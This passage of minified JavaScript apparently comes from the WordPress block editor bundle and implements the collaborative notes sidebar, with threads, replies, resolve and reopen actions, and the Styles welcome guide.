jE({onSubmit:e,commentSidebarRef:t,reflowComments:r=Og,isFloating:o=!1,y:n,refs:i}){let{clientId:a}=(0,fv.useSelect)(m=&gt;{let{getSelectedBlockClientId:h}=m(d1.store);return{clientId:h()}},[]),l=(0,fv.useSelect)(m=&gt;N(m(w)).getSelectedNote(),[]),c=JRe(a),{toggleBlockSpotlight:u}=N((0,fv.useDispatch)(d1.store)),{selectNote:d}=N((0,fv.useDispatch)(w)),f=()=&gt;{d(void 0),c?.focus(),u(a,!1)};return l!==&quot;new&quot;||!a?null:(0,dv.jsxs)(VE.__experimentalVStack,{className:re(&quot;editor-collab-sidebar-panel__thread is-selected&quot;,{&quot;is-floating&quot;:o}),spacing:&quot;3&quot;,tabIndex:0,&quot;aria-label&quot;:(0,LE.__)(&quot;New note&quot;),role:&quot;treeitem&quot;,ref:o?i.setFloating:void 0,style:o?{top:n,opacity:n?void 0:0}:void 0,onBlur:m=&gt;{m.currentTarget.contains(m.relatedTarget)||(u(a,!1),d(void 0))},children:[(0,dv.jsx)(VE.__experimentalHStack,{alignment:&quot;left&quot;,spacing:&quot;3&quot;,children:(0,dv.jsx)(c1,{})}),(0,dv.jsx)(u1,{onSubmit:async m=&gt;{let{id:h}=await e({content:m});d(h),dn(h,t.current)},onCancel:f,reflowComments:r,submitButtonText:(0,LE.__)(&quot;Add note&quot;),labelText:(0,LE.__)(&quot;New note&quot;)})]})}var et=s(C(),1),{useBlockElement:cse}=N(mv.privateApis),{Menu:f1}=N(ar.privateApis);function use({threads:e,onEditComment:t,onAddReply:r,onCommentDelete:o,commentSidebarRef:n,reflowComments:i,isFloating:a=!1,commentLastUpdated:l}){let[c,u]=(0,uo.useState)({}),[d,f]=(0,uo.useState)({}),[m,h]=(0,uo.useState)({}),{setCanvasMinHeight:g,selectNote:v}=N((0,Zc.useDispatch)(w)),{selectBlock:y,toggleBlockSpotlight:b}=N((0,Zc.useDispatch)(mv.store)),{blockCommentId:_,selectedBlockClientId:S,orderedBlockIds:x}=(0,Zc.useSelect)(I=&gt;{let{getBlockAttributes:U,getSelectedBlockClientId:G,getClientIdsWithDescendants:Y}=I(mv.store),Z=G();return{blockCommentId:Z?U(Z)?.metadata?.noteId:null,selectedBlockClientId:Z,orderedBlockIds:Y()}},[]),{selectedNote:T,noteFocused:R}=(0,Zc.useSelect)(I=&gt;{let{getSelectedNote:U,isNoteFocused:G}=N(I(w));return{selectedNote:U(),noteFocused:G()}},[]),F=cse(S),B=(0,uo.useMemo)(()=&gt;{let I=[...e],U=[];if(a&amp;&amp;T===&quot;new&quot;){let G={id:&quot;new&quot;,blockClientId:S,content:{rendered:&quot;&quot;}};return x.forEach(Y=&gt;{if(Y===S)U.push(G);else{let Z=I.find(V=&gt;V.blockClientId===Y);Z&amp;&amp;U.push(Z)}}),U}return I},[e,a,T,S,x]),z=async I=&gt;{let U=B.findIndex(Z=&gt;Z.id===I.id),G=B[U+1],Y=B[U-1];if(await o(I),I.parent!==0){v(I.parent),dn(I.parent,n.current);return}G?(v(G.id),dn(G.id,n.current)):Y?(v(Y.id),dn(Y.id,n.current)):(v(void 0),b(I.blockClientId,!1),F?.focus())};(0,uo.useEffect)(()=&gt;{v(_??void 0)},[_,v]),(0,uo.useEffect)(()=&gt;{R&amp;&amp;T&amp;&amp;(dn(T,n.current,T===&quot;new&quot;?&quot;textarea&quot;:void 0),v(T))},[R,T,v,n]),(0,uo.useEffect)(()=&gt;{let I=()=&gt;{let Y={};if(!a)return{offsets:Y,minHeight:0};let Z=B.findIndex(ge=&gt;ge.id===T),V=Z===-1?0:Z,j=B[V];if(!j||!m[j.id])return{offsets:Y,minHeight:0};let H=m[j.id],X=H?.getBoundingClientRect(),ae=X?.top||0,ne=c[j.id]||0;Y[j.id]=-16;let ue={threadTop:ae-16,threadHeight:ne};for(let ge=V+1;ge&lt;B.length;ge++){let Re=B[ge];if(!m[Re.id])continue;H=m[Re.id],X=H?.getBoundingClientRect();let ze=X?.top||0,Ve=c[Re.id]||0,tt=-16,vt=ue.threadTop+ue.threadHeight;ze&lt;vt+16&amp;&amp;(tt=vt-ze+20),Y[Re.id]=tt,ue={threadTop:ze+tt,threadHeight:Ve}}let Ye={threadTop:ae-16};for(let ge=Z-1;ge&gt;=0;ge--){let Re=B[ge];if(!m[Re.id])continue;H=m[Re.id],X=H?.getBoundingClientRect();let ze=X?.top||0,Ve=c[Re.id]||0,tt=-16;ze+Ve&gt;Ye.threadTop&amp;&amp;(tt=Ye.threadTop-ze-Ve-20),Y[Re.id]=tt,Ye={threadTop:ze+tt}}let ye=0,oe=B[B.length-1];if(m[oe.id]){let ze=m[oe.id]?.getBoundingClientRect()?.top||0,Ve=c[oe.id]||0,tt=Y[oe.id]||0;ye=ze+Ve+tt+32}return{offsets:Y,minHeight:ye}},{offsets:U,minHeight:G}=I();Object.keys(U).length&gt;0&amp;&amp;f(U),g(G)},[c,m,a,B,T,g]);let L=(I,U,G)=&gt;{if(I.defaultPrevented)return;let Y=B.findIndex(Z=&gt;Z.id===U.id);if((I.key===&quot;Enter&quot;||I.key===&quot;ArrowRight&quot;)&amp;&amp;I.currentTarget===I.target&amp;&amp;!G)v(U.id),U.blockClientId&amp;&amp;(y(U.blockClientId,null),b(U.blockClientId,!0));else if((I.key===&quot;Enter&quot;||I.key===&quot;ArrowLeft&quot;)&amp;&amp;I.currentTarget===I.target&amp;&amp;G||I.key===&quot;Escape&quot;)v(void 0),U.blockClientId&amp;&amp;b(U.blockClientId,!1),dn(U.id,n.current);else if(I.key===&quot;ArrowDown&quot;&amp;&amp;Y&lt;B.length-1&amp;&amp;I.currentTarget===I.target){let Z=B[Y+1];dn(Z.id,n.current)}else if(I.key===&quot;ArrowUp&quot;&amp;&amp;Y&gt;0&amp;&amp;I.currentTarget===I.target){let Z=B[Y-1];dn(Z.id,n.current)}else I.key===&quot;Home&quot;&amp;&amp;I.currentTarget===I.target?dn(B[0].id,n.current):I.key===&quot;End&quot;&amp;&amp;I.currentTarget===I.target&amp;&amp;dn(B[B.length-1].id,n.current)},M=(0,uo.useCallback)((I,U)=&gt;{h(G=&gt;({...G,[I]:U}))},[]);return!(Array.isArray(B)&amp;&amp;B.length&gt;0)&amp;&amp;!a?(0,et.jsx)(jE,{onSubmit:r,commentSidebarRef:n}):(0,et.jsxs)(et.Fragment,{children:[!a&amp;&amp;T===&quot;new&quot;&amp;&amp;(0,et.jsx)(jE,{onSubmit:r,commentSidebarRef:n}),B.map(I=&gt;(0,et.jsx)($Re,{thread:I,onAddReply:r,onCommentDelete:z,onEditComment:t,isSelected:T===I.id,commentSidebarRef:n,reflowComments:i,isFloating:a,calculatedOffset:d[I.id]??0,setHeights:u,setBlockRef:M,commentLastUpdated:l,onKeyDown:U=&gt;L(U,I,T===I.id)},I.id))]})}function $Re({thread:e,onEditComment:t,onAddReply:r,onCommentDelete:o,isSelected:n,commentSidebarRef:i,reflowComments:a,isFloating:l,calculatedOffset:c,setHeights:u,setBlockRef:d,commentLastUpdated:f,onKeyDown:m}){let{toggleBlockHighlight:h,selectBlock:g,toggleBlockSpotlight:v}=N((0,Zc.useDispatch)(mv.store)),{selectNote:y}=N((0,Zc.useDispatch)(w)),b=(0,Zc.useSelect)(V=&gt;N(V(w)).getSelectedNote(),[]),_=cse(e.blockClientId),S=(0,ase.useDebounce)(h,50),{y:x,refs:T}=sse({thread:e,calculatedOffset:c,setHeights:u,setBlockRef:d,selectedThread:b,commentLastUpdated:f}),R=(0,uo.useRef)(!1),F=()=&gt;{S(e.blockClientId,!0)},B=()=&gt;{S(e.blockClientId,!1)},z=()=&gt;{h(e.blockClientId,!0)},L=V=&gt;{let j=V.relatedTarget?.closest(&quot;.editor-collab-sidebar-panel__thread&quot;),H=V.relatedTarget?.closest(&#039;[role=&quot;dialog&quot;]&#039;),X=R.current;j&amp;&amp;!X||H||X&amp;&amp;V.currentTarget.contains(V.relatedTarget)||(h(e.blockClientId,!1),k())},M=()=&gt;{y(e.id),v(e.blockClientId,!0),e.blockClientId&amp;&amp;g(e.blockClientId,null)},k=()=&gt;{y(void 0),v(e.blockClientId,!1)},I=e?.reply||[],U=I.length&gt;0?I[I.length-1]:void 0,G=I.length&gt;0?I.slice(0,-1):[],Y=C$((0,lse.__unstableStripHTML)(e.content?.rendered),10),Z=e.blockClientId?(0,gt.sprintf)((0,gt.__)(&quot;Note: %s&quot;),Y):(0,gt.sprintf)((0,gt.__)(&quot;Original block deleted. Note: %s&quot;),Y);return l&amp;&amp;e.id===&quot;new&quot;?(0,et.jsx)(jE,{onSubmit:r,commentSidebarRef:i,reflowComments:a,isFloating:l,y:x,refs:T}):(0,et.jsxs)(ar.__experimentalVStack,{className:re(&quot;editor-collab-sidebar-panel__thread&quot;,{&quot;is-selected&quot;:n,&quot;is-floating&quot;:l}),id:`comment-thread-${e.id}`,spacing:&quot;3&quot;,onClick:M,onMouseEnter:F,onMouseLeave:B,onFocus:z,onBlur:L,onKeyUp:V=&gt;{V.key===&quot;Tab&quot;&amp;&amp;(R.current=!1)},onKeyDown:V=&gt;{V.key===&quot;Tab&quot;?R.current=!0:m(V)},tabIndex:0,role:&quot;treeitem&quot;,&quot;aria-label&quot;:Z,&quot;aria-expanded&quot;:n,ref:l?T.setFloating:void 0,style:l?{top:x}:void 0,children:[(0,et.jsx)(ar.Button,{className:&quot;editor-collab-sidebar-panel__skip-to-comment&quot;,variant:&quot;secondary&quot;,size:&quot;compact&quot;,onClick:()=&gt;{dn(e.id,i.current,&quot;textarea&quot;)},children:(0,gt.__)(&quot;Add new reply&quot;)}),!e.blockClientId&amp;&amp;(0,et.jsx)(ar.__experimentalText,{as:&quot;p&quot;,weight:500,variant:&quot;muted&quot;,children:(0,gt.__)(&quot;Original block deleted.&quot;)}),(0,et.jsx)(fF,{thread:e,isExpanded:n,onEdit:(V={})=&gt;{t(V),V.status===&quot;approved&quot;&amp;&amp;(k(),l?_?.focus():dn(e.id,i.current))},onDelete:o,reflowComments:a}),n&amp;&amp;I.map(V=&gt;(0,et.jsx)(fF,{thread:V,parent:e,isExpanded:n,onEdit:t,onDelete:o,reflowComments:a},V.id)),!n&amp;&amp;G.length&gt;0&amp;&amp;(0,et.jsx)(ar.__experimentalHStack,{className:&quot;editor-collab-sidebar-panel__more-reply-separator&quot;,children:(0,et.jsx)(ar.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,className:&quot;editor-collab-sidebar-panel__more-reply-button&quot;,onClick:()=&gt;{y(e.id),dn(e.id,i.current)},children:(0,gt.sprintf)((0,gt._n)(&quot;%s more reply&quot;,&quot;%s more replies&quot;,G.length),G.length)})}),!n&amp;&amp;U&amp;&amp;(0,et.jsx)(fF,{thread:U,parent:e,isExpanded:n,onEdit:t,onDelete:o,reflowComments:a}),n&amp;&amp;(0,et.jsxs)(ar.__experimentalVStack,{spacing:&quot;2&quot;,role:&quot;treeitem&quot;,children:[(0,et.jsx)(ar.__experimentalHStack,{alignment:&quot;left&quot;,spacing:&quot;3&quot;,justify:&quot;flex-start&quot;,children:(0,et.jsx)(c1,{})}),(0,et.jsx)(ar.__experimentalVStack,{spacing:&quot;2&quot;,children:(0,et.jsx)(u1,{onSubmit:V=&gt;{e.status===&quot;approved&quot;?t({id:e.id,status:&quot;hold&quot;,content:V}):r({content:V,parent:e.id})},onCancel:V=&gt;{V.stopPropagation(),k(),dn(e.id,i.current)},submitButtonText:e.status===&quot;approved&quot;?(0,gt.__)(&quot;Reopen &amp; Reply&quot;):(0,gt.__)(&quot;Reply&quot;),rows:e.status===&quot;approved&quot;?2:4,labelText:(0,gt.sprintf)((0,gt.__)(&quot;Reply to note %1$s by %2$s&quot;),e.id,e.author_name),reflowComments:a})})]}),!!e.blockClientId&amp;&amp;(0,et.jsx)(ar.Button,{className:&quot;editor-collab-sidebar-panel__skip-to-block&quot;,variant:&quot;secondary&quot;,size:&quot;compact&quot;,onClick:V=&gt;{V.stopPropagation(),_?.focus()},children:(0,gt.__)(&quot;Back to block&quot;)})]})}var fF=({thread:e,parent:t,isExpanded:r,onEdit:o,onDelete:n,reflowComments:i})=&gt;{let[a,l]=(0,uo.useState)(!1),[c,u]=(0,uo.useState)(!1),d=(0,uo.useRef)(null),f=()=&gt;{n(e),l(!1),u(!1)},m=()=&gt;{l(!1),u(!1),d.current?.focus()},h=e.type===&quot;note&quot;&amp;&amp;e.meta&amp;&amp;(e.meta._wp_note_status===&quot;resolved&quot;||e.meta._wp_note_status===&quot;reopen&quot;),g=[{id:&quot;edit&quot;,title:(0,gt.__)(&quot;Edit&quot;),isEligible:({status:_})=&gt;_!==&quot;approved&quot;,onClick:()=&gt;{l(&quot;edit&quot;)}},{id:&quot;reopen&quot;,title:(0,gt._x)(&quot;Reopen&quot;,&quot;Reopen note&quot;),isEligible:({status:_})=&gt;_===&quot;approved&quot;,onClick:()=&gt;{o({id:e.id,status:&quot;hold&quot;})}},{id:&quot;delete&quot;,title:(0,gt.__)(&quot;Delete&quot;),isEligible:()=&gt;!0,onClick:()=&gt;{l(&quot;delete&quot;),u(!0)}}],v=e.parent===0,y=t?.status!==&quot;approved&quot;?g.filter(_=&gt;_.isEligible(e)):[],b=e.parent===0?(0,gt.__)(&quot;Are you sure you want to delete this note? This will also delete all of this note&#039;s replies.&quot;):(0,gt.__)(&quot;Are you sure you want to delete this reply?&quot;);return(0,et.jsxs)(ar.__experimentalVStack,{spacing:&quot;2&quot;,role:e.parent!==0?&quot;treeitem&quot;:void 0,children:[(0,et.jsxs)(ar.__experimentalHStack,{alignment:&quot;left&quot;,spacing:&quot;3&quot;,justify:&quot;flex-start&quot;,children:[(0,et.jsx)(c1,{avatar:e?.author_avatar_urls?.[48],name:e?.author_name,date:e?.date,userId:e?.author}),r&amp;&amp;(0,et.jsx)(ar.FlexItem,{className:&quot;editor-collab-sidebar-panel__comment-status&quot;,onClick:_=&gt;{_.stopPropagation()},children:(0,et.jsxs)(ar.__experimentalHStack,{spacing:&quot;0&quot;,children:[v&amp;&amp;(0,et.jsx)(ar.Button,{label:(0,gt._x)(&quot;Resolve&quot;,&quot;Mark note as resolved&quot;),size:&quot;small&quot;,icon:Hd,disabled:e.status===&quot;approved&quot;,accessibleWhenDisabled:e.status===&quot;approved&quot;,onClick:()=&gt;{o({id:e.id,status:&quot;approved&quot;})}}),(0,et.jsxs)(f1,{placement:&quot;bottom-end&quot;,children:[(0,et.jsx)(f1.TriggerButton,{render:(0,et.jsx)(ar.Button,{ref:d,size:&quot;small&quot;,icon:Nr,label:(0,gt.__)(&quot;Actions&quot;),disabled:!y.length,accessibleWhenDisabled:!0})}),(0,et.jsx)(f1.Popover,{modal:!1,children:y.map(_=&gt;(0,et.jsx)(f1.Item,{onClick:()=&gt;_.onClick(),children:(0,et.jsx)(f1.ItemLabel,{children:_.title})},_.id))})]})]})})]}),a===&quot;edit&quot;?(0,et.jsx)(u1,{onSubmit:_=&gt;{o({id:e.id,content:_}),l(!1),d.current?.focus()},onCancel:()=&gt;m(),thread:e,submitButtonText:(0,gt._x)(&quot;Update&quot;,&quot;verb&quot;),labelText:(0,gt.sprintf)((0,gt.__)(&quot;Edit note %1$s by %2$s&quot;),e.id,e.author_name),reflowComments:i}):(0,et.jsx)(uo.RawHTML,{className:re(&quot;editor-collab-sidebar-panel__user-comment&quot;,{&quot;editor-collab-sidebar-panel__resolution-text&quot;:h}),children:h?(()=&gt;{let _=e.meta._wp_note_status===&quot;resolved&quot;?(0,gt.__)(&quot;Marked as resolved&quot;):(0,gt.__)(&quot;Reopened&quot;),S=e?.content?.raw;return S&amp;&amp;typeof S==&quot;string&quot;&amp;&amp;S.trim()!==&quot;&quot;?(0,gt.sprintf)((0,gt.__)(&quot;%1$s: %2$s&quot;),_,S):_})():e?.content?.rendered}),a===&quot;delete&quot;&amp;&amp;(0,et.jsx)(ar.__experimentalConfirmDialog,{isOpen:c,onConfirm:f,onCancel:m,confirmButtonText:(0,gt.__)(&quot;Delete&quot;),children:b})]})};var dse=s(A(),1),zE=s(E(),1),HE=s($(),1),mF=s(O(),1),fse=s(Xe(),1),mse=s(Oi(),1);var UE=s(C(),1),{CommentIconSlotFill:eAe}=N(HE.privateApis),tAe=({clientId:e,onClick:t,isDistractionFree:r})=&gt;{let o=(0,mF.useSelect)(l=&gt;l(HE.store).getBlock(e),[e]),n=(0,mF.useSelect)(l=&gt;l(mse.store).getShortcutRepresentation(&quot;core/editor/new-note&quot;),[]);if(!o?.isValid||o?.name===(0,fse.getUnregisteredTypeHandlerName)())return null;let i=r||o?.name===&quot;core/freeform&quot;,a;return r?a=(0,zE.__)(&quot;Notes are disabled in distraction free mode.&quot;):o?.name===&quot;core/freeform&quot;&amp;&amp;(a=(0,zE.__)(&quot;Convert to blocks to add notes.&quot;)),(0,UE.jsx)(dse.MenuItem,{onClick:t,&quot;aria-haspopup&quot;:&quot;dialog&quot;,disabled:i,info:a,shortcut:n,children:(0,zE.__)(&quot;Add note&quot;)})},rAe=({onClick:e,isDistractionFree:t})=&gt;(0,UE.jsx)(eAe.Fill,{children:({clientId:r,onClose:o})=&gt;(0,UE.jsx)(tAe,{clientId:r,isDistractionFree:t,onClick:()=&gt;{e(r),o()}})}),pF=rAe;var hv=s(A(),1),pv=s(E(),1),pse=s(D(),1),hse=s($(),1);var Vm=s(C(),1),{CommentIconToolbarSlotFill:oAe}=N(hse.privateApis),nAe=({onClick:e,thread:t})=&gt;{let r=(0,pse.useMemo)(()=&gt;{if(!t)return[];let u=new Map,d=[t,...t.reply];return d.sort((f,m)=&gt;new Date(f.date)-new Date(m.date)),d.forEach(f=&gt;{f.author_name&amp;&amp;f.author_avatar_urls&amp;&amp;(u.has(f.author)||u.set(f.author,{name:f.author_name,avatar:f.author_avatar_urls?.[&quot;48&quot;]||f.author_avatar_urls?.[&quot;96&quot;],id:f.author,date:f.date}))}),Array.from(u.values())},[t]);if(!r.length)return null;let o=3,i=r.length&gt;o?r.slice(0,o-1):r,a=Math.max(0,r.length-i.length),c=r.length&gt;100&amp;&amp;a&gt;0?(0,pv.__)(&quot;100+&quot;):(0,pv.sprintf)((0,pv.__)(&quot;+%s&quot;),a);return(0,Vm.jsx)(oAe.Fill,{children:(0,Vm.jsx)(hv.ToolbarButton,{className:&quot;comment-avatar-indicator&quot;,label:(0,pv.__)(&quot;View notes&quot;),onClick:()=&gt;e(),showTooltip:!0,children:(0,Vm.jsxs)(hv.__experimentalHStack,{spacing:&quot;1&quot;,children:[i.map(u=&gt;(0,Vm.jsx)(&quot;img&quot;,{src:u.avatar,alt:u.name,className:&quot;comment-avatar&quot;,style:{borderColor:ws(u.id)}},u.id)),a&gt;0&amp;&amp;(0,Vm.jsx)(hv.__experimentalText,{weight:500,children:c})]})})})},gse=nAe;var Yo=s(C(),1);function vse({styles:e,comments:t,commentSidebarRef:r,reflowComments:o,commentLastUpdated:n,isFloating:i=!1}){let{onCreate:a,onEdit:l,onDelete:c}=nse(o);return(0,Yo.jsx)(yse.__experimentalVStack,{className:&quot;editor-collab-sidebar-panel&quot;,style:e,role:&quot;tree&quot;,spacing:&quot;3&quot;,justify:&quot;flex-start&quot;,ref:u=&gt;{u&amp;&amp;(r.current=u)},&quot;aria-label&quot;:i?(0,gv.__)(&quot;Unresolved notes&quot;):(0,gv.__)(&quot;All notes&quot;),children:(0,Yo.jsx)(use,{threads:t,onEditComment:l,onAddReply:a,onCommentDelete:c,commentSidebarRef:r,reflowComments:o,commentLastUpdated:n,isFloating:i})})}function iAe({postId:e}){let{getActiveComplementaryArea:t}=(0,bl.useSelect)(Ce),{enableComplementaryArea:r}=(0,bl.useDispatch)(Ce),{toggleBlockSpotlight:o,selectBlock:n}=N((0,bl.useDispatch)(hF.store)),{selectNote:i}=N((0,bl.useDispatch)(w)),a=(0,Sse.useViewportMatch)(&quot;medium&quot;),l=(0,bse.useRef)(null),{clientId:c,blockCommentId:u,isClassicBlock:d}=(0,bl.useSelect)(F=&gt;{let{getBlockAttributes:B,getSelectedBlockClientId:z,getBlockName:L}=F(hF.store),M=z();return{clientId:M,blockCommentId:M?B(M)?.metadata?.noteId:null,isClassicBlock:M?L(M)===&quot;core/freeform&quot;:!1}},[]),{isDistractionFree:f}=(0,bl.useSelect)(F=&gt;{let{get:B}=F(wse.store);return{isDistractionFree:B(&quot;core&quot;,&quot;distractionFree&quot;)}},[]),m=(0,bl.useSelect)(F=&gt;N(F(w)).getSelectedNote(),[]),{resultComments:h,unresolvedSortedThreads:g,reflowComments:v,commentLastUpdated:y}=ose(e),b=a,_=h.length&gt;0||!b;ise(b&amp;&amp;(g.length&gt;0||m!==void 0)),(0,_se.useShortcut)(&quot;core/editor/new-note&quot;,F=&gt;{F.preventDefault(),R()},{isDisabled:f||d||!c||!!u});let{merged:S}=fw(),x=S?.styles?.color?.background,T=u?h.find(F=&gt;F.id===u):null;async function R(F){let B=await t(&quot;core&quot;),z=uF.find(I=&gt;I===B),L=F&amp;&amp;F!==c?F:c,M=h.find(I=&gt;I.blockClientId===L);M?.status===&quot;approved&quot;?r(&quot;core&quot;,uv):(!z||!_)&amp;&amp;r(&quot;core&quot;,b?Fd:uv);let k=await t(&quot;core&quot;);uF.includes(k)&amp;&amp;(n(L,null),o(L,!0),i(M?M.id:&quot;new&quot;,{focus:!0}))}return f?(0,Yo.jsx)(pF,{isDistractionFree:!0}):(0,Yo.jsxs)(Yo.Fragment,{children:[!!T&amp;&amp;(0,Yo.jsx)(gse,{thread:T,onClick:R}),(0,Yo.jsx)(pF,{onClick:R}),_&amp;&amp;(0,Yo.jsx)(nm,{identifier:uv,name:uv,title:(0,gv.__)(&quot;All notes&quot;),header:(0,Yo.jsx)(&quot;h2&quot;,{className:&quot;interface-complementary-area-header__title&quot;,children:(0,gv.__)(&quot;All notes&quot;)}),icon:jR,closeLabel:(0,gv.__)(&quot;Close Notes&quot;),children:(0,Yo.jsx)(vse,{comments:h,commentSidebarRef:l})}),a&amp;&amp;(0,Yo.jsx)(nm,{isPinnable:!1,header:!1,identifier:Fd,className:&quot;editor-collab-sidebar&quot;,headerClassName:&quot;editor-collab-sidebar__header&quot;,backgroundColor:x,children:(0,Yo.jsx)(vse,{comments:g,commentSidebarRef:l,reflowComments:v,commentLastUpdated:y,styles:{backgroundColor:x},isFloating:!0})})]})}function xse(){let{postId:e,editorMode:t,revisionsMode:r}=(0,bl.useSelect)(o=&gt;{let{getCurrentPostId:n,getEditorMode:i,isRevisionsMode:a}=N(o(w));return{postId:n(),editorMode:i(),revisionsMode:a()}},[]);return!e||typeof e!=&quot;number&quot;||t===&quot;text&quot;||r?null:(0,Yo.jsx)(tr,{supportKeys:&quot;editor.notes&quot;,children:(0,Yo.jsx)(iAe,{postId:e})})}var Sl=s(A(),1),vv=s(E(),1);var g1=s(O(),1),vF=s(D(),1),Ese=s(lt(),1),ZE=s(he(),1),Rse=s(W(),1);var Kc=s(A(),1),GE=s(O(),1),m1=s(E(),1),Cse=s(lt(),1);var Tse=s(W(),1);var wa=s(C(),1);function WE({hideWelcomeGuide:e=!1,onChangePath:t}){let{user:r,setUser:o}=xo(),n=!!r&amp;&amp;(Object.keys(r?.styles??{}).length&gt;0||Object.keys(r?.settings??{}).length&gt;0),i=()=&gt;{o({styles:{},settings:{}})},{toggle:a}=(0,GE.useDispatch)(Cse.store),{canEditCSS:l}=(0,GE.useSelect)(u=&gt;{let{getEntityRecord:d,__experimentalGetCurrentGlobalStylesId:f}=u(Tse.store),m=f();return{canEditCSS:!!(m?d(&quot;root&quot;,&quot;globalStyles&quot;,m):void 0)?._links?.[&quot;wp:action-edit-css&quot;]}},[]),c=()=&gt;{t(&quot;/css&quot;)};return(0,wa.jsx)(Kc.DropdownMenu,{icon:Nr,label:(0,m1.__)(&quot;More&quot;),toggleProps:{size:&quot;compact&quot;},children:({onClose:u})=&gt;(0,wa.jsxs)(wa.Fragment,{children:[(0,wa.jsxs)(Kc.MenuGroup,{children:[l&amp;&amp;(0,wa.jsx)(Kc.MenuItem,{onClick:c,children:(0,m1.__)(&quot;Additional CSS&quot;)}),!e&amp;&amp;(0,wa.jsx)(Kc.MenuItem,{onClick:()=&gt;{a(&quot;core/edit-site&quot;,&quot;welcomeGuideStyles&quot;),u()},children:(0,m1.__)(&quot;Welcome Guide&quot;)})]}),(0,wa.jsx)(Kc.MenuGroup,{children:(0,wa.jsx)(Kc.MenuItem,{onClick:()=&gt;{i(),u()},disabled:!n,children:(0,m1.__)(&quot;Reset styles&quot;)})})]})})}var jm=s(C(),1);function Pse({className:e,identifier:t,title:r,icon:o,children:n,closeLabel:i,header:a,headerClassName:l,panelClassName:c,isActiveByDefault:u}){return(0,jm.jsxs)(jm.Fragment,{children:[(0,jm.jsx)(ql,{className:e,scope:&quot;core&quot;,identifier:t,title:r,icon:o,closeLabel:i,header:a,headerClassName:l,panelClassName:c,isActiveByDefault:u,children:n}),(0,jm.jsx)(xu,{scope:&quot;core&quot;,identifier:t,icon:o,children:r})]})}var YE=s(O(),1),qE=s(A(),1),Fs=s(E(),1),gF=s(lt(),1);var p1=s(C(),1);function h1({nonAnimatedSrc:e,animatedSrc:t}){return(0,p1.jsxs)(&quot;picture&quot;,{className:&quot;editor-welcome-guide__image&quot;,children:[(0,p1.jsx)(&quot;source&quot;,{srcSet:e,media:&quot;(prefers-reduced-motion: reduce)&quot;}),(0,p1.jsx)(&quot;img&quot;,{src:t,width:&quot;312&quot;,height:&quot;240&quot;,alt:&quot;&quot;})]})}var Qt=s(C(),1);function kse(){let{toggle:e}=(0,YE.useDispatch)(gF.store),{isActive:t,isStylesOpen:r}=(0,YE.useSelect)(n=&gt;{let i=n(Ce).getActiveComplementaryArea(&quot;core&quot;);return{isActive:!!n(gF.store).get(&quot;core/edit-site&quot;,&quot;welcomeGuideStyles&quot;),isStylesOpen:i===&quot;edit-site/global-styles&quot;}},[]);if(!t||!r)return null;let o=(0,Fs.__)(&quot;Welcome to Styles&quot;);return(0,Qt.jsx)(qE.Guide,{className:&quot;editor-welcome-guide guide-styles&quot;,contentLabel:o,finishButtonText:(0,Fs.__)(&quot;Get started&quot;),onFinish:()=&gt;e(&quot;core/edit-site&quot;,&quot;welcomeGuideStyles&quot;),pages:[{image:(0,Qt.jsx)(h1,{nonAnimatedSrc:&quot;https://s.w.org/images/block-editor/welcome-to-styles.svg?1&quot;,animatedSrc:&quot;https://s.w.org/images/block-editor/welcome-to-styles.gif?1&quot;}),content:(0,Qt.jsxs)(Qt.Fragment,{children:[(0,Qt.jsx)(&quot;h1&quot;,{className:&quot;editor-welcome-guide__heading&quot;,children:o}),(0,Qt.jsx)(&quot;p&quot;,{className:&quot;editor-welcome-guide__text&quot;,children:(0,Fs.__)(&quot;Tweak your site, or give it a whole new look! Get creative \u2014 how about a new color palette for your buttons, or choosing a new font? Take a look at what you can do here.&quot;)})]})},{image:(0,Qt.jsx)(h1,{nonAnimatedSrc:&quot;https://s.w.org/images/block-editor/set-the-design.svg?1&quot;,animatedSrc:&quot;https://s.w.org/images/block-editor/set-the-design.gif?1&quot;}),content:(0,Qt.jsxs)(Qt.Fragment,{children:[(0,Qt.jsx)(&quot;h1&quot;,{className:&quot;editor-welcome-guide__heading&quot;,children:(0,Fs.__)(&quot;Set the design&quot;)}),(0,Qt.jsx)(&quot;p&quot;,{className:&quot;editor-welcome-guide__text&quot;,children:(0,Fs.__)(&quot;You can customize your site as much as you like with different colors, typography, and layouts. Or if you prefer, just leave it up to your theme to handle!&quot;)})]})},{image:(0,Qt.jsx)(h1,{nonAnimatedSrc:&quot;https://s.w.org/images/block-editor/personalize-blocks.svg?1&quot;,animatedSrc:&quot;https://s.w.org/images/block-editor/personalize-blocks.gif?1&quot;}),content:(0,Qt.jsxs)(Qt.Fragment,{children:[(0,Qt.jsx)(&quot;h1&quot;,{className:&quot;editor-welcome-guide__heading&quot;,children:(0,Fs.__)(&quot;Personalize blocks&quot;)}),(0,Qt.jsx)(&quot;p&quot;,{className:&quot;editor-welcome-guide__text&quot;,children:(0,Fs.__)(&quot;You can adjust your blocks to ensure a cohesive experience across your site \u2014 add your unique colors to a branded Button block, or adjust the Heading block to your preferred size.&quot;)})]})},{image:(0,Qt.jsx)(h1,{nonAnimatedSrc:&quot;https://s.w.org/images/block-editor/welcome-documentation.svg&quot;,animatedSrc:&quot;https://s.w.org/images/block-editor/welcome-documentation.gif&quot;}),content:(0,Qt.jsxs)(Qt.Fragment,{children:[(0,Qt.jsx)(&quot;h1&quot;,{className:&quot;editor-welcome-guide__heading&quot;,children:(0,Fs.__)(&quot;Learn more&quot;)}),(0,Qt.jsxs)(&quot;p&quot;,{className:&quot;editor-welcome-guide__text&quot;,children:[(0,Fs.__)(&quot;New to block themes and styling your site?&quot;),&quot; &quot;,(0,Qt.jsx)(qE.ExternalLink,{href:(0,Fs.__)(&quot;https://wordpress.org/documentation/article/styles-overview/&quot;),children:(0,Fs.__)(&quot;Here\u2019s a detailed guide to learn how to make the most of it.&quot;)})]})]})}]})}var qo=s(C(),1);function Ase(){let{shouldResetNavigation:e,stylesPath:t,showStylebook:r,showListViewByDefault:o,hasRevisions:n,activeComplementaryArea:i}=(0,g1.useSelect)(y=&gt;{let{getActiveComplementaryArea:b}=y(Ce),{getStylesPath:_,getShowStylebook:S}=N(y(w)),x=y(w).getEditorMode()===&quot;visual&quot;,T=y(Ese.store).get(&quot;core&quot;,&quot;showListViewByDefault&quot;),{getEntityRecord:R,__experimentalGetCurrentGlobalStylesId:F}=y(Rse.store),B=F(),z=B?R(&quot;root&quot;,&quot;globalStyles&quot;,B):void 